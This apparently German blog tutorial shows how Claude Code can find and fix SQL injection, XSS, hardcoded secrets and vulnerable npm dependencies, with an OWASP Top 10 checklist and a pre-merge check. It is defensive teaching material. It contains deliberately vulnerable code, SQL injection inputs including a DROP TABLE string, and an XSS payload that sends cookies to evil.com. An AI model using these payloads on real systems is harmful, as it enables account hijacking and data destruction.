Claude Code Sicherheit: Sicherheitslücken finden und beheben mit KI

Sicherheitslücken kosten Unternehmen im Durchschnitt 4,45 Millionen Dollar pro Datenpanne — und die meisten Lücken entstehen nicht durch böswillige Entscheidungen, sondern durch Code, der nie einen Security-Review gesehen hat. SQL Injection, XSS, hardgecodete API-Keys, veraltete Dependencies mit bekannten CVEs: Diese Probleme existieren in fast jedem Projekt, und sie bleiben unsichtbar, solange niemand gezielt danach sucht.

Claude Code Security ändert das. Nicht als Ersatz für professionelle Penetrationstests, aber als kontinuierlicher, kostengünstiger Security-Filter, der Lücken findet bevor sie in Production gelangen. Dieser Artikel zeigt vier konkrete Anwendungsfälle: SQL Injection erkennen und beheben, XSS-Vulnerabilities aufspüren, hardgecodete Secrets identifizieren und unsichere Dependencies prüfen.

1. Warum Claude Code für Security-Audits funktioniert

Ein manueller Security-Review leidet an demselben Problem wie manuelles Debugging: zu viel Code, zu wenig Kontext, zu wenig Zeit. Ein Entwickler liest eine Datei, vergisst dabei wie die Daten in diese Datei hineinkommen, übersieht die Stelle drei Ebenen weiter oben, an der ein Parameter ungefiltert durchgereicht wird.

Claude Code Security funktioniert anders, weil es den gesamten Datenfluss in einem Schritt analysieren kann. Es liest nicht nur die Datei, in der der verdächtige Code steht — es verfolgt, woher die Eingabe kommt, durch welche Funktionen sie läuft, ob sie zu irgendeinem Zeitpunkt validiert oder escaped wird, und wo sie am Ende landet. Dieses vollständige Kontextbild ist das, was einen guten Security-Reviewer ausmacht — und Claude Code hat es vom ersten Aufruf an.

2. Beispiel 1: SQL-Injection-Lücke erkennen und beheben

SQL Injection ist seit Jahren die häufigste kritische Webvulnerability — und trotzdem taucht sie regelmäßig in neuen Codebasen auf. Der Grund: Sie entsteht leicht, wenn Entwickler unter Zeitdruck stehen oder die Gefahr nicht präsent haben. Ein typisches Beispiel in Python:

def get_user(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    return db.execute(query)

Diese Funktion ist klassisch anfällig. Ein Angreifer gibt als Username ' OR '1'='1 ein — und bekommt alle User-Records zurück. Oder er gibt '; DROP TABLE users; -- ein.

Claude Code findet diese Lücke, wenn du es explizit danach fragst:

claude "Prüfe dieses Projekt auf SQL-Injection-Vulnerabilities.
Zeige jeden unsicheren Datenbankaufruf und schlage parametrisierte
Queries als Fix vor."

Claude Code liest alle Datenbankaufrufe im Projekt, identifiziert die unsicheren String-Konkatenationen und liefert direkt den korrekten Fix:

# Unsicher (Original):
query = f"SELECT * FROM users WHERE username = '{username}'"

# Sicher (Fix mit parametrisiertem Query):
query = "SELECT * FROM users WHERE username = ?"
return db.execute(query, (username,))

Der entscheidende Unterschied: Parametrisierte Queries trennen Code von Daten auf Datenbankebene — kein User-Input kann jemals als SQL interpretiert werden, egal was darin steht.

3. Beispiel 2: XSS-Vulnerability finden

Cross-Site Scripting (XSS) entsteht, wenn User-Input ungefiltert ins HTML gerendert wird. Ein Angreifer injiziert JavaScript — das dann im Browser des Opfers ausgeführt wird, Cookies stiehlt oder Formulare manipuliert. Ein typisches Muster in einer React-Applikation:

// Gefährlich: dangerouslySetInnerHTML ohne Sanitization
function Comment({ userComment }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: userComment }} />
  );
}

Wenn userComment aus einer Datenbank kommt und nie bereinigt wurde, kann ein Angreifer dort <script>document.location='https://evil.com/?c='+document.cookie</script> hinterlegen — und der läuft bei jedem User, der die Seite besucht.

claude "Suche nach XSS-Vulnerabilities in diesem React-Projekt.
Prüfe besonders dangerouslySetInnerHTML, innerHTML-Zuweisungen
und direkte DOM-Manipulationen mit User-Input."

Claude Code liest alle Komponenten, findet die unsicheren Stellen und schlägt den Fix vor:

// Sicher: DOMPurify zur Sanitization
import DOMPurify from 'dompurify';

function Comment({ userComment }) {
  const clean = DOMPurify.sanitize(userComment);
  return (
    <div dangerouslySetInnerHTML={{ __html: clean }} />
  );
}

// Noch sicherer: Kein HTML rendern, nur Text
function Comment({ userComment }) {
  return <p>{userComment}</p>;  // React escaped automatisch
}

Wo möglich empfiehlt Claude Code die zweite Variante: kein HTML rendern, sondern nur Text. React escaped dabei automatisch alles — kein dangerouslySetInnerHTML, kein Sanitization-Aufwand, keine Angriffsfläche.

4. Beispiel 3: Hardgecodete API-Keys aufspüren

Secrets im Code sind ein klassisches Problem — und eines der am häufigsten unterschätzten. Ein API-Key, der einmal in ein Git-Repository eingecheckt wurde, ist kompromittiert. Auch wenn du ihn im nächsten Commit entfernst: Er steht in der Git-History, und automatisierte Bots scannen GitHub, GitLab und Bitbucket rund um die Uhr nach genau diesen Mustern.

# Das ist ein typischer Fund:
STRIPE_SECRET_KEY = "sk_live_4xMn8K..."
DATABASE_URL = "postgresql://admin:mypassword123@db.example.com/prod"
AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

claude "Prüfe das gesamte Projekt auf hardgecodete Secrets:
API-Keys, Passwörter, Tokens, Verbindungsstrings.
Zeige jeden Fund mit Datei und Zeile."

Claude Code durchsucht alle Dateien — nicht nur die offensichtlichen, sondern auch Konfigurationsdateien, Test-Fixtures, Build-Skripte und Kommentare — und listet jeden Fund mit dem empfohlenen Fix:

# Unsicher (Original):
STRIPE_SECRET_KEY = "sk_live_4xMn8K..."

# Sicher (Umgebungsvariable):
import os
STRIPE_SECRET_KEY = os.environ.get("STRIPE_SECRET_KEY")
if not STRIPE_SECRET_KEY:
    raise RuntimeError("STRIPE_SECRET_KEY nicht gesetzt")

"Zeile 47 in config/settings.py: AWS_SECRET_ACCESS_KEY ist hardgecodiert. Dieser Key sollte sofort rotiert werden, da er möglicherweise bereits durch Git-History-Scans kompromittiert ist. Nutze stattdessen Umgebungsvariablen oder einen Secret-Manager wie AWS Secrets Manager."

Der wichtige Hinweis von Claude Code: Den Key nicht nur aus dem Code entfernen, sondern sofort rotieren. Ein Key der in der Git-History steht ist kompromittiert — egal ob er noch im aktuellen Code steht oder nicht.

5. Beispiel 4: Unsichere Dependency identifizieren

Die OWASP Top 10 führen "Vulnerable and Outdated Components" seit Jahren unter den häufigsten Schwachstellen. Jedes Projekt zieht Dutzende oder Hunderte von Dependencies mit — und jede davon kann bekannte CVEs haben. Die Herausforderung: Es gibt zu viele, um sie manuell zu überblicken.

claude "Analysiere package.json und identifiziere Dependencies
die bekannte Sicherheitslücken haben könnten. Prüfe besonders
veraltete Versionen und bekannte vulnerable Pakete."

Claude Code kennt bekannte Vulnerability-Patterns und gibt eine strukturierte Einschätzung:

// package.json (Auszug mit Problemen):
{
  "dependencies": {
    "lodash": "4.17.15",        // CVE-2021-23337: Prototype Pollution
    "axios": "0.19.2",          // CVE-2020-28168: SSRF-Vulnerability
    "minimist": "1.2.0",        // CVE-2021-44906: Prototype Pollution
    "node-fetch": "2.6.0"       // CVE-2022-0235: Header-Injection
  }
}

Für jeden Fund liefert Claude Code den Kontext: Was ist die Lücke, wie schwer ist sie (CVSS-Score), wie wird sie ausgenutzt, und welche Version schließt sie. Dann das Update-Kommando:

npm update lodash axios minimist node-fetch

# Oder für major version bumps:
npm install lodash@latest axios@latest

6. OWASP Top 10 als Checkliste für Claude Code

Die OWASP Top 10 sind der de-facto-Standard für Web-Application-Security. Claude Code kann systematisch alle zehn Kategorien durcharbeiten — du musst nicht für jede einzeln promaten:

claude "Führe ein OWASP Top 10 Security-Audit für dieses Projekt durch.
Prüfe jede Kategorie und liste konkrete Findings mit Schweregrad."

Claude Code arbeitet die Liste systematisch ab:

• A01 Broken Access Control — Prüft ob Authorization-Checks konsistent implementiert sind
• A02 Cryptographic Failures — Sucht nach schwachen Hashes (MD5, SHA1), unverschlüsselten Datenübertragungen
• A03 Injection — SQL, LDAP, NoSQL, Command Injection
• A04 Insecure Design — Fehlende Rate Limiting, Brute-Force-Schutz, unsichere Architekturen
• A05 Security Misconfiguration — Debug-Modi in Production, offene CORS-Policies, Default-Credentials
• A06 Vulnerable Components — Dependencies mit bekannten CVEs
• A07 Authentication Failures — Schwache Passwort-Policies, fehlende MFA, unsichere Session-Verwaltung
• A08 Integrity Failures — Unsichere Deserialisierung, fehlende Signaturprüfungen
• A09 Logging Failures — Fehlende Security-Events, Secrets in Logs
• A10 SSRF — Server-Side Request Forgery durch unkontrollierte URL-Fetches

Das Ergebnis ist kein Bericht im üblichen Sinne — sondern eine Liste konkreter Code-Stellen mit direkten Fix-Vorschlägen. Das ist der Unterschied zu einem theoretischen Security-Dokument: Du bekommst nicht erklärt, was SSRF ist, sondern siehst genau, in welcher Zeile deines Codes es ein Problem gibt und wie du es behebst.

7. Security-Audit in den Entwicklungs-Workflow integrieren

Der größte Hebel ist nicht der einmalige Security-Audit, sondern die kontinuierliche Integration. Claude Code Security lässt sich direkt in den normalen Entwicklungs-Workflow einbauen:

# Vor jedem Merge-Request: schneller Security-Check
git diff main | claude "Gibt es in diesem Diff Security-Probleme?
Prüfe auf Injection, XSS, unsichere Konfiguration und Secrets."

Oder als Teil des Code-Review-Prozesses: Jede neue Funktion die User-Input verarbeitet wird automatisch auf Injection-Risiken geprüft. Jede neue Dependency wird auf bekannte CVEs geprüft. Jede Konfigurationsänderung wird auf Security-Implikationen geprüft.

Das ist der Punkt, an dem Claude Code Security besonders wertvoll wird: nicht als einmaliger Scan, sondern als kontinuierlicher Filter der verhindert, dass neue Lücken entstehen. Ein Security-Problem das nie in Production gelangt, kostet nichts. Eines das dort landet, kostet im Schnitt 4,45 Millionen Dollar.

Zwei verwandte Artikel die auf diesem Thema aufbauen:

• Claude Code Code Review — wie Claude Code systematische Code-Reviews durchführt und Qualitätsprobleme findet
• Claude Code Debugging — Bugs in Minuten statt Stunden finden mit KI-Unterstützung